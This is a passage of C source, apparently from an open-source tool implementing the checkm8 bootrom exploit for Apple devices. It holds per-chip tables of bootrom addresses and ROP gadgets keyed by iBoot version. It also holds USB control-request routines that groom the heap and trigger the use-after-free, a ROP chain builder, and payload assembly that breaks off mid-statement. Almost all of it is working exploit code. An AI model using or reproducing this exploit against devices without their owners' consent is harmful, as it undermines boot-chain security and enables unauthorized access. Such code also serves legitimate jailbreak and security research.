uint16_t w_index, size_t w_len, transfer_ret_t *transfer_ret) { 469 | bool ret = false; 470 | void *p_data; 471 | 472 | if(w_len == 0) { 473 | ret = send_usb_control_request(handle, bm_request_type, b_request, w_value, w_index, NULL, 0, transfer_ret); 474 | } else if((p_data = malloc(w_len)) != NULL) { 475 | memset(p_data, '\0', w_len); 476 | ret = send_usb_control_request(handle, bm_request_type, b_request, w_value, w_index, p_data, w_len, transfer_ret); 477 | free(p_data); 478 | } 479 | return ret; 480 | } 481 | 482 | static bool 483 | send_usb_control_request_async_no_data(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, size_t w_len, unsigned usb_abort_timeout, transfer_ret_t *transfer_ret) { 484 | bool ret = false; 485 | void *p_data; 486 | 487 | if(w_len == 0) { 488 | ret = send_usb_control_request_async(handle, bm_request_type, b_request, w_value, w_index, NULL, 0, usb_abort_timeout, transfer_ret); 489 | } else if((p_data = malloc(w_len)) != NULL) { 490 | memset(p_data, '\0', w_len); 491 | ret = send_usb_control_request_async(handle, bm_request_type, b_request, w_value, w_index, p_data, w_len, usb_abort_timeout, transfer_ret); 492 | free(p_data); 493 | } 494 | return ret; 495 | } 496 | 497 | static char * 498 | get_usb_serial_number(usb_handle_t *handle) { 499 | transfer_ret_t transfer_ret; 500 | uint8_t buf[UINT8_MAX]; 501 | char *str = NULL; 502 | size_t i, sz; 503 | 504 | if(send_usb_control_request(handle, 0x80, 6, 1U << 8U, 0, &device_descriptor, sizeof(device_descriptor), &transfer_ret) && transfer_ret.ret == USB_TRANSFER_OK && transfer_ret.sz == sizeof(device_descriptor) && send_usb_control_request(handle, 0x80, 6, (3U << 8U) | device_descriptor.i_serial_number, 0x409, buf, sizeof(buf), &transfer_ret) && transfer_ret.ret == USB_TRANSFER_OK && transfer_ret.sz == buf[0] && (sz = buf[0] / 2) != 0 && (str = malloc(sz)) != NULL) { 505 | for(i = 0; i < sz; ++i) { 506 | str[i] = (char)buf[2 * (i + 1)]; 507 | } 508 | str[sz - 1] = '\0'; 509 | } 510 | return str; 511 | } 512 | 513 | static bool 514 | checkm8_check_usb_device(usb_handle_t *handle, void *pwned) { 515 | char *usb_serial_num = get_usb_serial_number(handle); 516 | bool ret = false; 517 | 518 | if(usb_serial_num != NULL) { 519 | if(strstr(usb_serial_num, " SRTG:[iBoot-1145.3]") != NULL) { 520 | cpid = 0x8950; 521 | config_large_leak = 659; 522 | config_overwrite_pad = 0x640; 523 | memcpy_addr = 0x9ACC; 524 | aes_crypto_cmd = 0x7301; 525 | gUSBSerialNumber = 0x10061F80; 526 | dfu_handle_request = 0x10061A24; 527 | payload_dest_armv7 = 0x10079800; 528 | usb_core_do_transfer = 0x7621; 529 | dfu_handle_bus_reset = 0x10061A3C; 530 | insecure_memory_base = 0x10000000; 531 | handle_interface_request = 0x8161; 532 | usb_create_string_descriptor = 0x7C55; 533 | usb_serial_number_string_descriptor = 0x100600D8; 534 | } else if(strstr(usb_serial_num, " SRTG:[iBoot-1145.3.3]") != NULL) { 535 | cpid = 0x8955; 536 | config_large_leak = 659; 537 | config_overwrite_pad = 0x640; 538 | memcpy_addr = 0x9B0C; 539 | aes_crypto_cmd = 0x7341; 540 | gUSBSerialNumber = 0x10061F80; 541 | dfu_handle_request = 0x10061A24; 542 | payload_dest_armv7 = 0x10079800; 543 | usb_core_do_transfer = 0x7661; 544 | dfu_handle_bus_reset = 0x10061A3C; 545 | insecure_memory_base = 0x10000000; 546 | handle_interface_request = 0x81A1; 547 | usb_create_string_descriptor = 0x7C95; 548 | usb_serial_number_string_descriptor = 0x100600D8; 549 | } else if(strstr(usb_serial_num, " SRTG:[iBoot-1458.2]") != NULL) { 550 | cpid = 0x8947; 551 | config_large_leak = 626; 552 | config_overwrite_pad = 0x660; 553 | memcpy_addr = 0x9A3C; 554 | aes_crypto_cmd = 0x7061; 555 | gUSBSerialNumber = 0x3402DDF8; 556 | dfu_handle_request = 0x3402D92C; 557 | payload_dest_armv7 = 0x34039800; 558 | usb_core_do_transfer = 0x79ED; 559 | dfu_handle_bus_reset = 0x3402D944; 560 | insecure_memory_base = 0x34000000; 561 | handle_interface_request = 0x7BC9; 562 | usb_create_string_descriptor = 0x72A9; 563 | usb_serial_number_string_descriptor = 0x3402C2DA; 564 | } else if(strstr(usb_serial_num, " SRTG:[iBoot-1704.10]") != NULL) { 565 | cpid = 0x8960; 566 | config_large_leak = 7936; 567 | config_overwrite_pad = 0x5C0; 568 | patch_addr = 0x100005CE0; 569 | memcpy_addr = 0x10000ED50; 570 | aes_crypto_cmd = 0x10000B9A8; 571 | boot_tramp_end = 0x1800E1000; 572 | gUSBSerialNumber = 0x180086CDC; 573 | dfu_handle_request = 0x180086C70; 574 | usb_core_do_transfer = 0x10000CC78; 575 | dfu_handle_bus_reset = 0x180086CA0; 576 | insecure_memory_base = 0x180380000; 577 | handle_interface_request = 0x10000CFB4; 578 | usb_create_string_descriptor = 0x10000BFEC; 579 | usb_serial_number_string_descriptor = 0x180080562; 580 | } else if(strstr(usb_serial_num, " SRTG:[iBoot-1991.0.0.2.16]") != NULL) { 581 | cpid = 0x7001; 582 | config_overwrite_pad = 0x500; 583 | patch_addr = 0x10000AD04; 584 | memcpy_addr = 0x100013F10; 585 | aes_crypto_cmd = 0x100010A90; 586 | boot_tramp_end = 0x1800E1000; 587 | gUSBSerialNumber = 0x180088E48; 588 | dfu_handle_request = 0x180088DF8; 589 | usb_core_do_transfer = 0x100011BB4; 590 | dfu_handle_bus_reset = 0x180088E18; 591 | insecure_memory_base = 0x180380000; 592 | handle_interface_request = 0x100011EE4; 593 | usb_create_string_descriptor = 0x100011074; 594 | usb_serial_number_string_descriptor = 0x180080C2A; 595 | } else if(strstr(usb_serial_num, " SRTG:[iBoot-1992.0.0.1.19]") != NULL) { 596 | cpid = 0x7000; 597 | config_overwrite_pad = 0x500; 598 | patch_addr = 0x100007E98; 599 | memcpy_addr = 0x100010E70; 600 | aes_crypto_cmd = 0x10000DA90; 601 | boot_tramp_end = 0x1800E1000; 602 | gUSBSerialNumber = 0x1800888C8; 603 | dfu_handle_request = 0x180088878; 604 | usb_core_do_transfer = 0x10000EBB4; 605 | dfu_handle_bus_reset = 0x180088898; 606 | insecure_memory_base = 0x180380000; 607 | handle_interface_request = 0x10000EEE4; 608 | usb_create_string_descriptor = 0x10000E074; 609 | usb_serial_number_string_descriptor = 0x18008062A; 610 | } else if(strstr(usb_serial_num, " SRTG:[iBoot-2098.0.0.2.4]") != NULL) { 611 | cpid = 0x7002; 612 | config_overwrite_pad = 0x500; 613 | memcpy_addr = 0x89F4; 614 | aes_crypto_cmd = 0x6341; 615 | gUSBSerialNumber = 0x46005958; 616 | dfu_handle_request = 0x46005898; 617 | payload_dest_armv7 = 0x46007800; 618 | usb_core_do_transfer = 0x6E59; 619 | dfu_handle_bus_reset = 0x460058B0; 620 | insecure_memory_base = 0x46018000; 621 | handle_interface_request = 0x7081; 622 | usb_create_string_descriptor = 0x6745; 623 | usb_serial_number_string_descriptor = 0x4600034A; 624 | } else if(strstr(usb_serial_num, " SRTG:[iBoot-2234.0.0.2.22]") != NULL) { 625 | cpid = 0x8003; 626 | config_overwrite_pad = 0x500; 627 | patch_addr = 0x10000812C; 628 | ttbr0_addr = 0x1800C8000; 629 | memcpy_addr = 0x100011030; 630 | aes_crypto_cmd = 0x10000DAA0; 631 | ttbr0_vrom_off = 0x400; 632 | boot_tramp_end = 0x1800E1000; 633 | gUSBSerialNumber = 0x180087958; 634 | dfu_handle_request = 0x1800878F8; 635 | usb_core_do_transfer = 0x10000EE78; 636 | dfu_handle_bus_reset = 0x180087928; 637 | insecure_memory_base = 0x180380000; 638 | handle_interface_request = 0x10000F1B0; 639 | usb_create_string_descriptor = 0x10000E354; 640 | usb_serial_number_string_descriptor = 0x1800807DA; 641 | } else if(strstr(usb_serial_num, " SRTG:[iBoot-2234.0.0.3.3]") != NULL) { 642 | cpid = 0x8000; 643 | config_overwrite_pad = 0x500; 644 | patch_addr = 0x10000812C; 645 | ttbr0_addr = 0x1800C8000; 646 | memcpy_addr = 0x100011030; 647 | aes_crypto_cmd = 0x10000DAA0; 648 | ttbr0_vrom_off = 0x400; 649 | boot_tramp_end = 0x1800E1000; 650 | gUSBSerialNumber = 0x180087958; 651 | dfu_handle_request = 0x1800878F8; 652 | usb_core_do_transfer = 0x10000EE78; 653 | dfu_handle_bus_reset = 0x180087928; 654 | insecure_memory_base = 0x180380000; 655 | handle_interface_request = 0x10000F1B0; 656 | usb_create_string_descriptor = 0x10000E354; 657 | usb_serial_number_string_descriptor = 0x1800807DA; 658 | } else if(strstr(usb_serial_num, " SRTG:[iBoot-2481.0.0.2.1]") != NULL) { 659 | cpid = 0x8001; 660 | config_hole = 6; 661 | config_overwrite_pad = 0x5C0; 662 | tlbi = 0x100000404; 663 | nop_gadget = 0x10000CD60; 664 | ret_gadget = 0x100000118; 665 | patch_addr = 0x100007668; 666 | ttbr0_addr = 0x180050000; 667 | func_gadget = 0x10000CD40; 668 | write_ttbr0 = 0x1000003B4; 669 | memcpy_addr = 0x1000106F0; 670 | aes_crypto_cmd = 0x10000C9D4; 671 | boot_tramp_end = 0x180044000; 672 | ttbr0_vrom_off = 0x400; 673 | ttbr0_sram_off = 0x600; 674 | gUSBSerialNumber = 0x180047578; 675 | dfu_handle_request = 0x18004C378; 676 | usb_core_do_transfer = 0x10000DDA4; 677 | dfu_handle_bus_reset = 0x18004C3A8; 678 | insecure_memory_base = 0x180000000; 679 | handle_interface_request = 0x10000E0B4; 680 | usb_create_string_descriptor = 0x10000D280; 681 | usb_serial_number_string_descriptor = 0x18004486A; 682 | } else if(strstr(usb_serial_num, " SRTG:[iBoot-2651.0.0.1.31]") != NULL) { 683 | cpid = 0x8002; 684 | config_hole = 5; 685 | config_overwrite_pad = 0x5C0; 686 | memcpy_addr = 0xB6F8; 687 | aes_crypto_cmd = 0x86DD; 688 | gUSBSerialNumber = 0x48802AB8; 689 | dfu_handle_request = 0x48806344; 690 | payload_dest_armv7 = 0x48806E00; 691 | usb_core_do_transfer = 0x9411; 692 | dfu_handle_bus_reset = 0x4880635C; 693 | insecure_memory_base = 0x48818000; 694 | handle_interface_request = 0x95F1; 695 | usb_create_string_descriptor = 0x8CA5; 696 | usb_serial_number_string_descriptor = 0x4880037A; 697 | } else if(strstr(usb_serial_num, " SRTG:[iBoot-2651.0.0.3.3]") != NULL) { 698 | cpid = 0x8004; 699 | config_hole = 5; 700 | config_overwrite_pad = 0x5C0; 701 | memcpy_addr = 0xA884; 702 | aes_crypto_cmd = 0x786D; 703 | gUSBSerialNumber = 0x48802AE8; 704 | dfu_handle_request = 0x48806384; 705 | payload_dest_armv7 = 0x48806E00; 706 | usb_core_do_transfer = 0x85A1; 707 | dfu_handle_bus_reset = 0x4880639C; 708 | insecure_memory_base = 0x48818000; 709 | handle_interface_request = 0x877D; 710 | usb_create_string_descriptor = 0x7E35; 711 | usb_serial_number_string_descriptor = 0x488003CA; 712 | } else if(strstr(usb_serial_num, " SRTG:[iBoot-2696.0.0.1.33]") != NULL) { 713 | cpid = 0x8010; 714 | config_hole = 5; 715 | config_overwrite_pad = 0x5C0; 716 | tlbi = 0x100000434; 717 | nop_gadget = 0x10000CC6C; 718 | ret_gadget = 0x10000015C; 719 | patch_addr = 0x1000074AC; 720 | ttbr0_addr = 0x1800A0000; 721 | func_gadget = 0x10000CC4C; 722 | write_ttbr0 = 0x1000003E4; 723 | memcpy_addr = 0x100010730; 724 | aes_crypto_cmd = 0x10000C8F4; 725 | boot_tramp_end = 0x1800B0000; 726 | ttbr0_vrom_off = 0x400; 727 | ttbr0_sram_off = 0x600; 728 | gUSBSerialNumber = 0x180083CF8; 729 | dfu_handle_request = 0x180088B48; 730 | usb_core_do_transfer = 0x10000DC98; 731 | dfu_handle_bus_reset = 0x180088B78; 732 | insecure_memory_base = 0x1800B0000; 733 | handle_interface_request = 0x10000DFB8; 734 | usb_create_string_descriptor = 0x10000D150; 735 | usb_serial_number_string_descriptor = 0x1800805DA; 736 | } else if(strstr(usb_serial_num, " SRTG:[iBoot-3135.0.0.2.3]") != NULL) { 737 | cpid = 0x8011; 738 | config_hole = 6; 739 | config_overwrite_pad = 0x540; 740 | tlbi = 0x100000444; 741 | nop_gadget = 0x10000CD0C; 742 | ret_gadget = 0x100000148; 743 | patch_addr = 0x100007630; 744 | ttbr0_addr = 0x1800A0000; 745 | func_gadget = 0x10000CCEC; 746 | write_ttbr0 = 0x1000003F4; 747 | memcpy_addr = 0x100010950; 748 | aes_crypto_cmd = 0x10000C994; 749 | boot_tramp_end = 0x1800B0000; 750 | ttbr0_vrom_off = 0x400; 751 | ttbr0_sram_off = 0x600; 752 | gUSBSerialNumber = 0x180083D28; 753 | dfu_handle_request = 0x180088A58; 754 | usb_core_do_transfer = 0x10000DD64; 755 | dfu_handle_bus_reset = 0x180088A88; 756 | insecure_memory_base = 0x1800B0000; 757 | handle_interface_request = 0x10000E08C; 758 | usb_create_string_descriptor = 0x10000D234; 759 | usb_serial_number_string_descriptor = 0x18008062A; 760 | } else if(strstr(usb_serial_num, " SRTG:[iBoot-3332.0.0.1.23]") != NULL) { 761 | cpid = 0x8015; 762 | config_hole = 6; 763 | config_overwrite_pad = 0x540; 764 | tlbi = 0x1000004AC; 765 | nop_gadget = 0x10000A9C4; 766 | ret_gadget = 0x100000148; 767 | patch_addr = 0x10000624C; 768 | ttbr0_addr = 0x18000C000; 769 | func_gadget = 0x10000A9AC; 770 | write_ttbr0 = 0x10000045C; 771 | memcpy_addr = 0x10000E9D0; 772 | aes_crypto_cmd = 0x100009E9C; 773 | boot_tramp_end = 0x18001C000; 774 | ttbr0_vrom_off = 0x400; 775 | ttbr0_sram_off = 0x600; 776 | gUSBSerialNumber = 0x180003A78; 777 | dfu_handle_request = 0x180008638; 778 | usb_core_do_transfer = 0x10000B9A8; 779 | dfu_handle_bus_reset = 0x180008668; 780 | insecure_memory_base = 0x18001C000; 781 | handle_interface_request = 0x10000BCCC; 782 | usb_create_string_descriptor = 0x10000AE80; 783 | usb_serial_number_string_descriptor = 0x1800008FA; 784 | } else if(strstr(usb_serial_num, " SRTG:[iBoot-3401.0.0.1.16]") != NULL) { 785 | cpid = 0x8012; 786 | config_hole = 6; 787 | config_overwrite_pad = 0x540; 788 | tlbi = 0x100000494; 789 | nop_gadget = 0x100008DB8; 790 | ret_gadget = 0x10000012C; 791 | patch_addr = 0x100004854; 792 | ttbr0_addr = 0x18000C000; 793 | func_gadget = 0x100008DA0; 794 | write_ttbr0 = 0x100000444; 795 | memcpy_addr = 0x10000EA30; 796 | aes_crypto_cmd = 0x1000082AC; 797 | boot_tramp_end = 0x18001C000; 798 | ttbr0_vrom_off = 0x400; 799 | ttbr0_sram_off = 0x600; 800 | gUSBSerialNumber = 0x180003AF8; 801 | dfu_handle_request = 0x180008B08; 802 | usb_core_do_transfer = 0x10000BD20; 803 | dfu_handle_bus_reset = 0x180008B38; 804 | insecure_memory_base = 0x18001C000; 805 | handle_interface_request = 0x10000BFFC; 806 | usb_create_string_descriptor = 0x10000B1CC; 807 | usb_serial_number_string_descriptor = 0x18000082A; 808 | } 809 | if(cpid != 0) { 810 | printf("CPID: 0x%" PRIX32 "\n", cpid); 811 | *(bool *)pwned = strstr(usb_serial_num, pwnd_str) != NULL; 812 | ret = true; 813 | } 814 | free(usb_serial_num); 815 | } 816 | return ret; 817 | } 818 | 819 | static bool 820 | dfu_check_status(const usb_handle_t *handle, uint8_t status, uint8_t state) { 821 | struct { 822 | uint8_t status, poll_timeout[3], state, str_idx; 823 | } dfu_status; 824 | transfer_ret_t transfer_ret; 825 | 826 | return send_usb_control_request(handle, 0xA1, DFU_GET_STATUS, 0, 0, &dfu_status, sizeof(dfu_status), &transfer_ret) && transfer_ret.ret == USB_TRANSFER_OK && transfer_ret.sz == sizeof(dfu_status) && dfu_status.status == status && dfu_status.state == state; 827 | } 828 | 829 | static bool 830 | dfu_set_state_wait_reset(const usb_handle_t *handle) { 831 | transfer_ret_t transfer_ret; 832 | 833 | return send_usb_control_request_no_data(handle, 0x21, DFU_DNLOAD, 0, 0, 0, &transfer_ret) && transfer_ret.ret == USB_TRANSFER_OK && transfer_ret.sz == 0 && dfu_check_status(handle, DFU_STATUS_OK, DFU_STATE_MANIFEST_SYNC) && dfu_check_status(handle, DFU_STATUS_OK, DFU_STATE_MANIFEST) && dfu_check_status(handle, DFU_STATUS_OK, DFU_STATE_MANIFEST_WAIT_RESET); 834 | } 835 | 836 | static bool 837 | checkm8_stage_reset(const usb_handle_t *handle) { 838 | transfer_ret_t transfer_ret; 839 | 840 | if(send_usb_control_request_no_data(handle, 0x21, DFU_DNLOAD, 0, 0, DFU_FILE_SUFFIX_LEN, &transfer_ret) && transfer_ret.ret == USB_TRANSFER_OK && transfer_ret.sz == DFU_FILE_SUFFIX_LEN && dfu_set_state_wait_reset(handle) && send_usb_control_request_no_data(handle, 0x21, DFU_DNLOAD, 0, 0, EP0_MAX_PACKET_SZ, &transfer_ret) && transfer_ret.ret == USB_TRANSFER_OK && transfer_ret.sz == EP0_MAX_PACKET_SZ) { 841 | return true; 842 | } 843 | send_usb_control_request_no_data(handle, 0x21, DFU_CLR_STATUS, 0, 0, 0, NULL); 844 | return false; 845 | } 846 | 847 | static bool 848 | checkm8_stage_setup(const usb_handle_t *handle) { 849 | unsigned usb_abort_timeout = usb_timeout - 1; 850 | transfer_ret_t transfer_ret; 851 | 852 | for(;;) { 853 | if(send_usb_control_request_async_no_data(handle, 0x21, DFU_DNLOAD, 0, 0, DFU_MAX_TRANSFER_SZ, usb_abort_timeout, &transfer_ret) && transfer_ret.sz < config_overwrite_pad && send_usb_control_request_no_data(handle, 0, 0, 0, 0, config_overwrite_pad - transfer_ret.sz, &transfer_ret) && transfer_ret.ret == USB_TRANSFER_STALL) { 854 | return true; 855 | } 856 | send_usb_control_request_no_data(handle, 0x21, DFU_DNLOAD, 0, 0, EP0_MAX_PACKET_SZ, NULL); 857 | usb_abort_timeout = (usb_abort_timeout + 1) % (usb_timeout - usb_abort_timeout_min + 1) + usb_abort_timeout_min; 858 | } 859 | return false; 860 | } 861 | 862 | static bool 863 | checkm8_usb_request_leak(const usb_handle_t *handle) { 864 | transfer_ret_t transfer_ret; 865 | 866 | return send_usb_control_request_async_no_data(handle, 0x80, 6, (3U << 8U) | device_descriptor.i_serial_number, USB_MAX_STRING_DESCRIPTOR_IDX, EP0_MAX_PACKET_SZ, 1, &transfer_ret) && transfer_ret.sz == 0; 867 | } 868 | 869 | static void 870 | checkm8_stall(const usb_handle_t *handle) { 871 | unsigned usb_abort_timeout = usb_timeout - 1; 872 | transfer_ret_t transfer_ret; 873 | 874 | for(;;) { 875 | if(send_usb_control_request_async_no_data(handle, 0x80, 6, (3U << 8U) | device_descriptor.i_serial_number, USB_MAX_STRING_DESCRIPTOR_IDX, 3 * EP0_MAX_PACKET_SZ, usb_abort_timeout, &transfer_ret) && transfer_ret.sz < 3 * EP0_MAX_PACKET_SZ && checkm8_usb_request_leak(handle)) { 876 | break; 877 | } 878 | usb_abort_timeout = (usb_abort_timeout + 1) % (usb_timeout - usb_abort_timeout_min + 1) + usb_abort_timeout_min; 879 | } 880 | } 881 | 882 | static bool 883 | checkm8_no_leak(const usb_handle_t *handle) { 884 | transfer_ret_t transfer_ret; 885 | 886 | return send_usb_control_request_async_no_data(handle, 0x80, 6, (3U << 8U) | device_descriptor.i_serial_number, USB_MAX_STRING_DESCRIPTOR_IDX, 3 * EP0_MAX_PACKET_SZ + 1, 1, &transfer_ret) && transfer_ret.sz == 0; 887 | } 888 | 889 | static bool 890 | checkm8_usb_request_stall(const usb_handle_t *handle) { 891 | transfer_ret_t transfer_ret; 892 | 893 | return send_usb_control_request_no_data(handle, 2, 3, 0, 0x80, 0, &transfer_ret) && transfer_ret.ret == USB_TRANSFER_STALL; 894 | } 895 | 896 | static bool 897 | checkm8_stage_spray(const usb_handle_t *handle) { 898 | size_t i; 899 | 900 | if(config_large_leak == 0) { 901 | if(cpid == 0x7001 || cpid == 0x7000 || cpid == 0x7002 || cpid == 0x8003 || cpid == 0x8000) { 902 | while(!checkm8_usb_request_stall(handle) || !checkm8_usb_request_leak(handle) || !checkm8_no_leak(handle)) {} 903 | } else { 904 | checkm8_stall(handle); 905 | for(i = 0; i < config_hole; ++i) { 906 | while(!checkm8_no_leak(handle)) {} 907 | } 908 | while(!checkm8_usb_request_leak(handle) || !checkm8_no_leak(handle)) {} 909 | } 910 | send_usb_control_request_no_data(handle, 0x21, DFU_CLR_STATUS, 0, 0, 3 * EP0_MAX_PACKET_SZ + 1, NULL); 911 | } else { 912 | for(i = 0; i < config_large_leak; ++i) { 913 | while(!checkm8_usb_request_stall(handle)) {} 914 | } 915 | send_usb_control_request_no_data(handle, 0x21, DFU_CLR_STATUS, 0, 0, 0, NULL); 916 | } 917 | return true; 918 | } 919 | 920 | static size_t 921 | usb_rop_callbacks(uint8_t *buf, uint64_t addr, const callback_t *callbacks, size_t callback_cnt) { 922 | uint8_t block_0[MAX_BLOCK_SZ], block_1[MAX_BLOCK_SZ]; 923 | size_t i, j, sz = 0, block_0_sz, block_1_sz; 924 | uint64_t reg; 925 | 926 | for(i = 0; i < callback_cnt; i += 5) { 927 | block_1_sz = block_0_sz = 0; 928 | for(j = 0; j < 5; ++j) { 929 | addr += MAX_BLOCK_SZ / 5; 930 | if(j == 4) { 931 | addr += MAX_BLOCK_SZ; 932 | } 933 | if(i + j < callback_cnt - 1) { 934 | reg = func_gadget; 935 | memcpy(block_0 + block_0_sz, ®, sizeof(reg)); 936 | block_0_sz += sizeof(reg); 937 | reg = addr; 938 | memcpy(block_0 + block_0_sz, ®, sizeof(reg)); 939 | block_0_sz += sizeof(reg); 940 | reg = callbacks[i + j].arg; 941 | memcpy(block_1 + block_1_sz, ®, sizeof(reg)); 942 | block_1_sz += sizeof(reg); 943 | reg = callbacks[i + j].func; 944 | memcpy(block_1 + block_1_sz, ®, sizeof(reg)); 945 | block_1_sz += sizeof(reg); 946 | } else if(i + j == callback_cnt - 1) { 947 | reg = func_gadget; 948 | memcpy(block_0 + block_0_sz, ®, sizeof(reg)); 949 | block_0_sz += sizeof(reg); 950 | reg = 0; 951 | memcpy(block_0 + block_0_sz, ®, sizeof(reg)); 952 | block_0_sz += sizeof(reg); 953 | reg = callbacks[i + j].arg; 954 | memcpy(block_1 + block_1_sz, ®, sizeof(reg)); 955 | block_1_sz += sizeof(reg); 956 | reg = callbacks[i + j].func; 957 | memcpy(block_1 + block_1_sz, ®, sizeof(reg)); 958 | block_1_sz += sizeof(reg); 959 | } else { 960 | reg = 0; 961 | memcpy(block_0 + block_0_sz, ®, sizeof(reg)); 962 | block_0_sz += sizeof(reg); 963 | reg = 0; 964 | memcpy(block_0 + block_0_sz, ®, sizeof(reg)); 965 | block_0_sz += sizeof(reg); 966 | } 967 | } 968 | memcpy(buf + sz, block_0, block_0_sz); 969 | sz += block_0_sz; 970 | memcpy(buf + sz, block_1, block_1_sz); 971 | sz += block_1_sz; 972 | } 973 | return sz; 974 | } 975 | 976 | static bool 977 | dfu_send_data(const usb_handle_t *handle, uint8_t *data, size_t len) { 978 | transfer_ret_t transfer_ret; 979 | size_t i, packet_sz; 980 | 981 | for(i = 0; i < len; i += packet_sz) { 982 | packet_sz = MIN(len - i, DFU_MAX_TRANSFER_SZ); 983 | if(!send_usb_control_request(handle, 0x21, DFU_DNLOAD, 0, 0, &data[i], packet_sz, &transfer_ret) || transfer_ret.ret != USB_TRANSFER_OK || transfer_ret.sz != packet_sz) { 984 | return false; 985 | } 986 | } 987 | return send_usb_control_request_no_data(handle, 0x21, DFU_DNLOAD, 0, 0, DFU_FILE_SUFFIX_LEN, &transfer_ret) && transfer_ret.ret == USB_TRANSFER_OK && transfer_ret.sz == DFU_FILE_SUFFIX_LEN && dfu_set_state_wait_reset(handle); 988 | } 989 | 990 | static bool 991 | read_binary_file(const char *filename, uint8_t **buf, size_t *len) { 992 | FILE *fp = fopen(filename, "rb"); 993 | bool ret = false; 994 | 995 | if(fp != NULL) { 996 | if(fseek(fp, 0, SEEK_END) == 0 && (*len = (size_t)ftell(fp)) != 0 && (*buf = malloc(*len)) != NULL) { 997 | rewind(fp); 998 | ret = fread(*buf, 1, *len, fp) == *len; 999 | } 1000 | fclose(fp); 1001 | } 1002 | if(!ret) { 1003 | printf("Cannot read file \"%s\".\n", filename); 1004 | } 1005 | return ret; 1006 | } 1007 | 1008 | static bool 1009 | checkm8_stage_patch(const usb_handle_t *handle) { 1010 | struct { 1011 | uint64_t pwnd[2], payload_dest, dfu_handle_bus_reset, dfu_handle_request, payload_off, payload_sz, memcpy_addr, gUSBSerialNumber, usb_create_string_descriptor, usb_serial_number_string_descriptor, ttbr0_vrom_addr, patch_addr; 1012 | } A9; 1013 | struct { 1014 | uint64_t pwnd[2], payload_dest, dfu_handle_bus_reset, dfu_handle_request, payload_off, payload_sz, memcpy_addr, gUSBSerialNumber, usb_create_string_descriptor, usb_serial_number_string_descriptor, patch_addr; 1015 | } notA9; 1016 | struct { 1017 | uint32_t pwnd[4], payload_dest, dfu_handle_bus_reset, dfu_handle_request, payload_off, payload_sz, memcpy_addr, gUSBSerialNumber, usb_create_string_descriptor, usb_serial_number_string_descriptor; 1018 | } notA9_armv7; 1019 | struct { 1020 | uint64_t handle_interface_request, insecure_memory_base, exec_magic, done_magic, memc_magic, memcpy_addr, usb_core_do_transfer; 1021 | } handle_checkm8_request; 1022 | struct { 1023 | uint32_t handle_interface_request, insecure_memory_base, exec_magic, done_magic, memc_magic, memcpy_addr, usb_core_do_transfer; 1024 | } handle_checkm8_request_armv7; 1025 | callback_t callbacks[] = { 1026 | { write_ttbr0, insecure_memory_base }, 1027 | { tlbi, 0 }, 1028 | { insecure_memory_base + ARM_16K_TT_L2_SZ + ttbr0_sram_off + 2 * sizeof(uint64_t), 0 }, 1029 | { write_ttbr0, ttbr0_addr }, 1030 | { tlbi, 0 }, 1031 | { ret_gadget, 0 } 1032 | }; 1033 | size_t i, data_sz, packet_sz, payload_sz, overwrite_sz, payload_handle_checkm8_request_sz; 1034 | uint8_t *data, *payload, *payload_handle_checkm8_request; 1035 | checkm8_overwrite_armv7_t checkm8_overwrite_armv7; 1036 | checkm8_overwrite_t checkm8_overwrite; 1037 | transfer_ret_t transfer_ret; 1038 | bool ret = false; 1039 | void *overwrite; 1040 | uint64_t reg; 1041 | 1042 | if(cpid == 0x8003 || cpid == 0x8000) { 1043 | if(payload_A9_bin_len > sizeof(A9)) { 1044 | payload = payload_A9_bin; 1045 | payload_sz = payload_A9_bin_len - sizeof(A9); 1046 | } else { 1047 | payload = NULL; 1048 | payload_sz = 0; 1049 | } 1050 | } else if(cpid == 0x8960 || cpid == 0x7001 || cpid == 0x7000 || cpid == 0x8001 || cpid == 0x8010 || cpid == 0x8011 || cpid == 0x8015 || cpid == 0x8012) { 1051 | if(payload_notA9_bin_len > sizeof(notA9)) { 1052 | payload = payload_notA9_bin; 1053 | payload_sz = payload_notA9_bin_len - sizeof(notA9); 1054 | } else { 1055 | payload = NULL; 1056 | payload_sz = 0; 1057 | } 1058 | } else if(payload_notA9_armv7_bin_len > sizeof(notA9_armv7)) { 1059 | payload = payload_notA9_armv7_bin; 1060 | payload_sz = payload_notA9_armv7_bin_len - sizeof(notA9_armv7); 1061 | } else { 1062 | payload = NULL; 1063 | payload_sz = 0; 1064 | } 1065 | if(payload != NULL) { 1066 | if(cpid == 0x8960 || cpid == 0x7001 || cpid == 0x7000 || cpid == 0x8003 || cpid == 0x8000 || cpid == 0x8001 || cpid == 0x8010 || cpid == 0x8011 || cpid == 0x8015 || cpid == 0x8012) { 1067 | if(payload_handle_checkm8_request_bin_len > sizeof(handle_checkm8_request)) { 1068 | payload_handle_checkm8_request = payload_handle_checkm8_request_bin; 1069 | payload_handle_checkm8_request_sz = payload_handle_checkm8_request_bin_len - sizeof(handle_checkm8_request); 1070 | if(cpid == 0x8003 || cpid == 0x8000) { 1071 | data = calloc(1, payload_sz + sizeof(A9) + payload_handle_checkm8_request_sz + sizeof(handle_checkm8_request)); 1072 | } else if(cpid == 0x8001 || cpid == 0x8010 || cpid == 0x8011 || cpid == 0x8015 || cpid == 0x8012) { 1073 | data = calloc(1, DFU_MAX_TRANSFER_SZ + payload_sz + sizeof(notA9) + payload_handle_checkm8_request_sz + sizeof(handle_checkm8_request)); 1074 | } else { 1075 | data = calloc(1, payload_sz + sizeof(notA9) + payload_handle_checkm8_request_sz + sizeof(handle_checkm8_request)); 1076 | } 1077 | } else { 1078 | payload_handle_checkm8_request = NULL; 1079 | payload_handle_checkm8_request_sz = 0; 1080 | data = NULL; 1081 | } 1082 | } else if(payload_handle_checkm8_request_armv7_bin_len > sizeof(handle_checkm8_request_armv7)) { 1083 | payload_handle_checkm8_request = payload_handle_checkm8_request_armv7_bin; 1084 | payload_handle_checkm8_request_sz = payload_handle_checkm8_request_armv7_bin_len - sizeof(handle_checkm8_request_armv7); 1085 | data = calloc(1, payload_sz + sizeof(notA9_armv7) + payload_handle_checkm8_request_sz + sizeof(handle_checkm8_request_armv7)); 1086 | } else { 1087 | payload_handle_checkm8_request = NULL; 1088 | payload_handle_checkm8_request_sz = 0; 1089 | data = NULL; 1090 | } 1091 | if(data != NULL) { 1092 | if(cpid == 0x8001 || cpid == 0x8010 || cpid == 0x8011 || cpid == 0x8015 || cpid == 0x8012) { 1093 | reg = 0x1000006A5; 1094 | memcpy(data + ttbr0_vrom_off, ®, sizeof(reg)); 1095 | reg = 0x60000100000625; 1096 | memcpy(data + ttbr0_vrom_off + sizeof(reg), ®, 